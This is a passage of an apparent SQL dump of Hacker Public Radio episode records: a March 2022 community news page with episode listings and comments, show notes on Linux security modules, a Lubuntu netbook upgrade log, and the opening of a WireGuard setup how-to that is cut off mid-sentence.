href=\"https://hackerpublicradio.org/eps.php?id=3544\" target=\"_blank\">3544</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-03-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3544\" target=\"_blank\">All my microphones</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3545\" target=\"_blank\">3545</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-03-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3545\" target=\"_blank\">How I make coffee</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3546\" target=\"_blank\">3546</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-03-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3546\" target=\"_blank\">HPR Community News for February 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3547\" target=\"_blank\">3547</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-03-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3547\" target=\"_blank\">Password Managers</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3548\" target=\"_blank\">3548</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-03-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3548\" target=\"_blank\">Make a custom Git command</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3549\" target=\"_blank\">3549</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-03-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3549\" target=\"_blank\">Linux Inlaws S01E51: git and static site generators</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3550\" target=\"_blank\">3550</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-03-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3550\" target=\"_blank\">Format; Copy; Diskcopy; Xcopy</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3551\" target=\"_blank\">3551</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-03-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3551\" target=\"_blank\">Bash snippet - some possibly helpful hints</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3552\" target=\"_blank\">3552</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-03-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3552\" target=\"_blank\">Unboxing a PineTime development kit</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3553\" target=\"_blank\">3553</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-03-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3553\" target=\"_blank\">Freedom of speech in open source</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3554\" target=\"_blank\">3554</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-03-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3554\" target=\"_blank\">Guide to the Science and Technology Section of Bitchute</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3555\" target=\"_blank\">3555</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-03-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3555\" target=\"_blank\">PopKorn Episode 1: The Fallacy of the Unreasonable Effectiveness of Mathematics in the ETC</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\" target=\"_blank\">BlacKernel</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3556\" target=\"_blank\">3556</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-03-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3556\" target=\"_blank\">TTS for HPR</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=402\" target=\"_blank\">takov751</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3557\" target=\"_blank\">3557</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-03-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3557\" target=\"_blank\">A short story about Lenovo and laptop batteries</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\" target=\"_blank\">folky</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3558\" target=\"_blank\">3558</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-03-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3558\" target=\"_blank\">How I\'m learning Haskell</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3559\" target=\"_blank\">3559</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-03-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3559\" target=\"_blank\">Linux Inlaws S01E52: The Zig Project</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3560\" target=\"_blank\">3560</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-03-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3560\" target=\"_blank\">LCh Components Layer Modes</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3561\" target=\"_blank\">3561</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-03-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3561\" target=\"_blank\">Employment security</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3562\" target=\"_blank\">3562</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-03-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3562\" target=\"_blank\">Creating a new project with Haskell and Stack</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3563\" target=\"_blank\">3563</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-03-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3563\" target=\"_blank\">Home Coffee Roasting, part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3564\" target=\"_blank\">3564</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-03-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3564\" target=\"_blank\">Removing EXIF data from an image</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 21 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 7 comments on\n7 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1743#comments\" target=\"_blank\">hpr1743</a></strong>\n(2015-04-08) \"<em>Scale 13x Part 1 of 6</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=24\" target=\"_blank\">Lord Drachenblut (R.I.P.)</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=1743#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-03-05:\n\"Thank you Lord D\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1780#comments\" target=\"_blank\">hpr1780</a></strong>\n(2015-05-29) \"<em>16 - TrueCrypt and GnuPG - An Update</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=1780#4\" target=\"_blank\">Comment 4</a>:\nelmussol on 2022-03-27:\n\"mistag\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3461#comments\" target=\"_blank\">hpr3461</a></strong>\n(2021-11-08) \"<em>Changes to HPR Branding</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3461#2\" target=\"_blank\">Comment 2</a>:\nBentley Sorsdahl on 2022-03-12:\n\"The TTS voice\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3496#comments\" target=\"_blank\">hpr3496</a></strong>\n(2021-12-27) \"<em>How I record HPR Episodes</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3496#3\" target=\"_blank\">Comment 3</a>:\ndnt on 2022-03-09:\n\"I use it\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3515#comments\" target=\"_blank\">hpr3515</a></strong>\n(2022-01-21) \"<em>ADB and scrcpy</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3515#1\" target=\"_blank\">Comment 1</a>:\nArcher72 on 2022-03-03:\n\"On my list\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3533#comments\" target=\"_blank\">hpr3533</a></strong>\n(2022-02-16) \"<em>Porridge</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3533#4\" target=\"_blank\">Comment 4</a>:\nWindigo on 2022-03-18:\n\"Very informative\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3534#comments\" target=\"_blank\">hpr3534</a></strong>\n(2022-02-17) \"<em>Vernier caliper</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3534#3\" target=\"_blank\">Comment 3</a>:\nMichael on 2022-03-10:\n\"Unit missmatch\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 14 comments on 8 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3546#comments\" target=\"_blank\">hpr3546</a></strong>\n(2022-03-07) \"<em>HPR Community News for February 2022</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3546#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2022-03-09:\n\"Thank you\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3551#comments\" target=\"_blank\">hpr3551</a></strong>\n(2022-03-14) \"<em>Bash snippet - some possibly helpful hints</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3551#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-03-20:\n\"Bash for the Win.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3551#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2022-03-21:\n\"Hi SGOTI\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3552#comments\" target=\"_blank\">hpr3552</a></strong>\n(2022-03-15) \"<em>Unboxing a PineTime development kit</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3552#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-03-26:\n\"Development on Pinetime\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3553#comments\" target=\"_blank\">hpr3553</a></strong>\n(2022-03-16) \"<em>Freedom of speech in open source</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3553#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2022-03-16:\n\"Great Intro\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3553#2\" target=\"_blank\">Comment 2</a>:\nTrey on 2022-03-16:\n\"Important topic\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3553#3\" target=\"_blank\">Comment 3</a>:\nBeeza on 2022-03-17:\n\"Free Speech\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3553#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2022-03-17:\n\"My thoughts\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3553#5\" target=\"_blank\">Comment 5</a>:\njezra on 2022-03-22:\n\"the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3557#comments\" target=\"_blank\">hpr3557</a></strong>\n(2022-03-22) \"<em>A short story about Lenovo and laptop batteries</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\" target=\"_blank\">folky</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3557#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-03-31:\n\"Thank you.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3558#comments\" target=\"_blank\">hpr3558</a></strong>\n(2022-03-23) \"<em>How I\'m learning Haskell</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3558#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-03-23:\n\"Nicely done.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3558#2\" target=\"_blank\">Comment 2</a>:\ntuturto on 2022-03-24:\n\"Good idea\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3563#comments\" target=\"_blank\">hpr3563</a></strong>\n(2022-03-30) \"<em>Home Coffee Roasting, part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3563#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2022-03-31:\n\"Very interesting\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3564#comments\" target=\"_blank\">hpr3564</a></strong>\n(2022-03-31) \"<em>Removing EXIF data from an image</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3564#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-03-31:\n\"Much Respect\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-March/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-March/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"access-problems-from-argentina\">Access problems from Argentina</h3>\n<p>An HPR listener from Argentina reports that the HPR site is unavailable from there. This applies both to an ISP connection and on a mobile phone. It\'s not clear what is causing this.</p>\n<p>Reportedly the problem was resolved on March 30<sup>th</sup> but the next day it returned and at the time of writing the HPR site is still unavailable.</p>\n<h3 id=\"older-hpr-shows-on-archive.org\">Older HPR shows on archive.org</h3>\n<p>As reported on the last Community News all shows in the range 1-870 had been uploaded except for shows hpr0001 - hpr0003. Shows hpr0001 and hpr0002 had been \"blocked\" by existing non-HPR items from over 8 years ago, with the names we were going to assign. Show hpr0003 seemed to have been an early attempt to upload blocks of shows since it contained the audio for shows 1-9, but no notes.</p>\n<p>We received help with clearing the slots for shows 1 and 2 from Jason Scott of the Internet Archive, and the correct shows have now been uploaded. Show hpr0003 has now been resolved by replacing the contents with the appropriate transcoded audio and the notes have been added to it.</p>\n<p>We can now consider this project to be complete!</p>\n<!-- This month 2 additional shows in -->\n<!-- the range 1-870 have been uploaded. -->\n<!-- The number of shows left to upload in this range is now: 0. -->\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3299,'2021-03-25','Linux Inlaws S01E26: Make your Linux harder',2985,'Ever wanted to know about AppArmor and SELinux? Then this is your show!','<p>In this episode our two aging heroes discuss the proper temperature to\r\ndrink beer at (spoiler: it\'s not 20 degrees as CAMRA would make you believe)\r\nand the ins and outs of basic and enhanced security on our beloved operating\r\nsystem. If you ever wanted to know more about Linux Security Modules, AppArmor\r\nand SELinux and how dames of negotiable affections relate to these concepts,\r\nthis show is for you.</p>\r\n<h3>Shownotes:</h3>\r\n<ul>\r\n    <li>Campaign for Real Ale: <a href=\"https://camra.org.uk/\" target=\"_blank\">https://camra.org.uk/</a>\r\n    </li>\r\n    <li>Linux Security Modules: <a href=\"https://en.wikipedia.org/wiki/Linux_Security_Modules\" target=\"_blank\">https://en.wikipedia.org/wiki/Linux_Security_Modules</a>\r\n    </li>\r\n    <li>SELinux: <a href=\"https://selinuxproject.org/page/Main_Page\" target=\"_blank\">https://selinuxproject.org/page/Main_Page</a>\r\n    </li>\r\n    <li>SELinux on Android: <a href=\"https://source.android.com/security/selinux\" target=\"_blank\">https://source.android.com/security/selinux</a>\r\n    </li>\r\n    <li>AppArmor: <a href=\"https://gitlab.com/apparmor/apparmor/-/wikis/Documentation\" target=\"_blank\">https://gitlab.com/apparmor/apparmor/-/wikis/Documentation</a>\r\n    </li>\r\n    <li>RBAC with AppArmor: <a href=\"https://gitlab.com/apparmor/apparmor/-/wikis/AppArmorRBAC\" target=\"_blank\">https://gitlab.com/apparmor/apparmor/-/wikis/AppArmorRBAC</a>\r\n    </li>\r\n    <li>Plan 9: <a href=\"https://9p.io/plan9\" target=\"_blank\">https://9p.io/plan9</a>\r\n    </li>\r\n    <li>Plan 9 from Outer Space: <a href=\"https://www.imdb.com/title/tt0052077\" target=\"_blank\">https://www.imdb.com/title/tt0052077</a>\r\n    </li>\r\n    <li>Man down: <a href=\"https://www.imdb.com/title/tt2461520/?ref_=fn_tt_tt_2\" target=\"_blank\">https://www.imdb.com/title/tt2461520/?ref_=fn_tt_tt_2</a>\r\n    </li>\r\n    <li>The Midnight Gospel: <a href=\"https://www.netflix.com/de-en/title/80987903\" target=\"_blank\">https://www.netflix.com/de-en/title/80987903</a>\r\n    </li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Linux Security Modules, DAC, MAC, AppArmor, SELinux, Plan 9',0,0,1),
(3285,'2021-03-05','Upgrading Lubuntu on my Samsung N150 Plus netbook',1079,'Lubuntu 16.04 LTS to 20.04.1 LTS upgrade on ageing Samsung N150 Plus netbook.','<h1 id=\"samsung-n150-plus-upgrade-from-lubuntu-16.04-lts-to-lubuntu-20.04.1---performed-171220\">Samsung N150 Plus upgrade from Lubuntu 16.04 LTS to Lubuntu 20.04.1 - performed 17/12/20</h1>\r\n<h2 id=\"backup-and-prep-process\">Backup and prep process</h2>\r\n<ul>\r\n<li><p>Copied all documents and important files from Samsung laptop to removable hard drive. Used Lubuntu gui file manager which crashed at least twice, probably due to netbook limited RAM.</p></li>\r\n<li><p>Found out that a direct upgrade from 16.04 LTS to 20.04 LTS is not possible, refer to the following links.</p>\r\n<ul>\r\n<li><a href=\"https://askubuntu.com/questions/1214292/upgrade-path-from-16-04-to-20-04-lts-without-gui-change\">Upgrade path from 16.04 LTS to 20.04 LTS</a></li>\r\n<li><a href=\"https://ubuntu.com/about/release-cycle\">Ubuntu release-cycle</a></li>\r\n</ul></li>\r\n<li><p>Downloaded Lubuntu 20.04.1</p></li>\r\n<li><p>Found a spare 32GB USB stick and copied all the files that were on it to a removable hard drive.</p></li>\r\n<li><p>Opened downloaded Lubuntu image using Disk Image writer (1st time I\'ve used this), wrote image to 32GB SD, found process very easy</p></li>\r\n<li><p>On Samsung netbook hit F2 at boot time to select boot from USB</p></li>\r\n<li><p>Booted from USB stick containing LUBUNTU 20.04.1</p></li>\r\n</ul>\r\n<h2 id=\"live-distro-1st-boot.\">Live distro 1st boot.</h2>\r\n<ul>\r\n<li><p>Once booted I found the trackpad speed to be very slow and my first attempt at adjusting the speed in preferences made no difference.</p></li>\r\n<li><p>Connected to WiFi, setting this up seemed much more clunky than previous connection method, however it did work.</p></li>\r\n<li><p>Went to Youtube and played some video, everything worked fine, also found that volume keys on netbook worked.</p></li>\r\n</ul>\r\n<h2 id=\"install-process\">Install Process</h2>\r\n<ul>\r\n<li><p>Went through install and selected manual partitioning,</p></li>\r\n<li><p>Used existing swap on sda6 and format and mounted new Lubuntu root filesystem on sda7 replacing 16.04 with 20.04.1</p></li>\r\n</ul>\r\n<h2 id=\"after-first-boot\">After first boot</h2>\r\n<ul>\r\n<li><p>Upon first boot was surprised that it had remembered my WiFi connection details and told me there were updates</p></li>\r\n<li><p>It asked if I wanted to perform a full upgrade without giving any details. At the time I didn\'t know what this meant. I wasn\'t sure I would remain on an LTS or upgrade to 20.10. After the full upgrade I check OS release using the following command. This confirmed I was still running 20.04 LTS</p>\r\n<pre><code>  cat /etc/os-release</code></pre></li>\r\n<li><p>The logon screen has desktop options, by default it\'s set to Lubuntu, I found this to be a bit slow and unresponsive also the screen decoration on terminals was rather clunky taking up unnecessary screen space.</p></li>\r\n<li><p>The next time I entered the logon screen I selected LXQT. I was pleased to find that this option was remembered. The netbook was now a bit more responsive though not quite as good as it was before the upgrade. The terminal screen was now much tidier and more usable.</p></li>\r\n<li><p>Preferences / LXQT settings / Keyboard and mouse / Mouse and Touch Pad / Acceleration speed now 5.0 think was 0.1, also selected single click to activate item</p></li>\r\n<li><p>Installed mc, ncdu, screen, pv, moc, ssh</p></li>\r\n<li><p>Generated RSA ssh keys and copied them to Pi13, they installed with no problems and allowed me to SSH into my Pi13.</p></li>\r\n<li><p>Copied all my files and documents from my portable hard drive back onto the laptop. This time I used mc \"Midnight Commander\" to copy the files back which I found much easier than using the GUI file manager the first time around. Midnight commander is an Ncurses file manager.</p></li>\r\n<li><p>I had forgotten just how good the ncurses file manager Midnight commander is.</p></li>\r\n<li><p>Midnight Commander gave a constant percentage progress of each individual file being copied and the overall progress which was very useful and reassuring with such a slow laptop. The first time around the laptop actually crashed a couple of times when I was using the LUBUNTU GUI file manager to try and copy the files from the laptop to the hard drive.</p></li>\r\n<li><p>Also even though I generally use keyboard shortcuts for copy and paste operation I still tend to use the track pad at places when using a file manager. It\'s easy to limit yourself to keyboard navigation using mc. I found this to be greatly reassuring and I feel doing this makes the likelihood of disastrous errors much less likely.</p></li>\r\n</ul>\r\n<h2 id=\"general-thoughts-and-observations\">General thoughts and Observations</h2>\r\n<ul>\r\n<li><p>The keyboard screen brightness buttons don\'t work however I can adjust it within preferences. Further investigation will be needed to resolve this minor annoyance if / when I get the time and inclination.</p></li>\r\n<li><p>The netbook now has a much slower boot time</p></li>\r\n<li><p>The netbook now feels a little sluggish but I think it\'s still perfectly usable. I have a feeling this might be the last upgrade this netbook sees as it\'s now getting a bit long in the tooth. It also has a broken power switch which I believe was a common fault. I have to use a pair of scissors to turn it on.</p></li>\r\n</ul>\r\n',201,0,1,'CC-BY-SA','Linux, Distros, Netbook, Lubuntu',0,0,1),
(3286,'2021-03-08','Wireguard How To',574,'My findings setting up wireguard at home and in my office at work.','<h2 id=\"wireguard-how-to\">Wireguard How To</h2>\r\n<p>Firstly, I am not an expert. These are just my findings setting up wireguard at home and in my office at work.</p>\r\n<p>I\'ve used a program called <code>sshuttle</code> for 7/8 years to attach myself to my home and work networks when on public/untrusted networks or if I need to access some resource at work from home.</p>\r\n<p>Sshuttle for the main part works great and the main benefit is that the only port you ever need to open on the server network is whichever port you have your ssh server running on.</p>\r\n<p>The downside to sshuttle is that it won\'t work with my android devices so I\'ve been using a paid for VPN called PIA on untrusted networks or just staying on 3g/4g and not have any way to connect to my home or work network.</p>\r\n<p>Sshuttle is written in python and a few weeks ago Arch Linux moved to python 3.8 which broke sshuttle. There is a workaround using pyenv and a bug has been filled with the python team and a it\'s already been fixed upstream <a href=\"https://bugs.python.org/issue35415\" class=\"uri\">https://bugs.python.org/issue35415</a>.</p>\r\n<p>Anyway.</p>\r\n<p>I thought it was about time I looked at setting up a proper VPN on my work network.</p>\r\n<p>So I spent a couple of hours reading up on openVPN and creating client and server certificates making a server config on the work server forwarding the port on the router to the server.</p>\r\n<p>Then I spent a couple more hours poking around trying to figure out why it wouldn\'t work.</p>\r\n<p>I eventually gave up frustrated.</p>\r\n<p>I\'m not blaming openVPN, I know it works for many many people, but I couldn\'t see what was wrong.</p>\r\n<p>So I did what we all do in a situation like this.</p>\r\n<p>I took to social media, which in my case is my pleroma server and posted a message to the fediverse.</p>\r\n<p><em>\"OpenVPN has fried my brain. Need booze\"</em><br />\r\nThen I had a beer, a nice cold Stiegl goldbrau if I remember right.</p>\r\n<p>A few minutes later a message popped up from theru, it contained one word with a smiley face. Wireguard.</p>\r\n<p>Now I had looked at wireguard a while ago. You might remember it hit the headlines because Linus Torvalds had praised how beautifully written the code was for it. It turns out what he said was \"It\'s beautiful when compared to openVPN\'s code\". Back then the how to guides were really hard, for me anyway to follow.</p>\r\n<p>There were just examples of two machines on the same LAN connected together and I really struggled to get my head around it being serverless and both machines being peers to each other; after all openVPN has clients and servers and even sshuttle on my 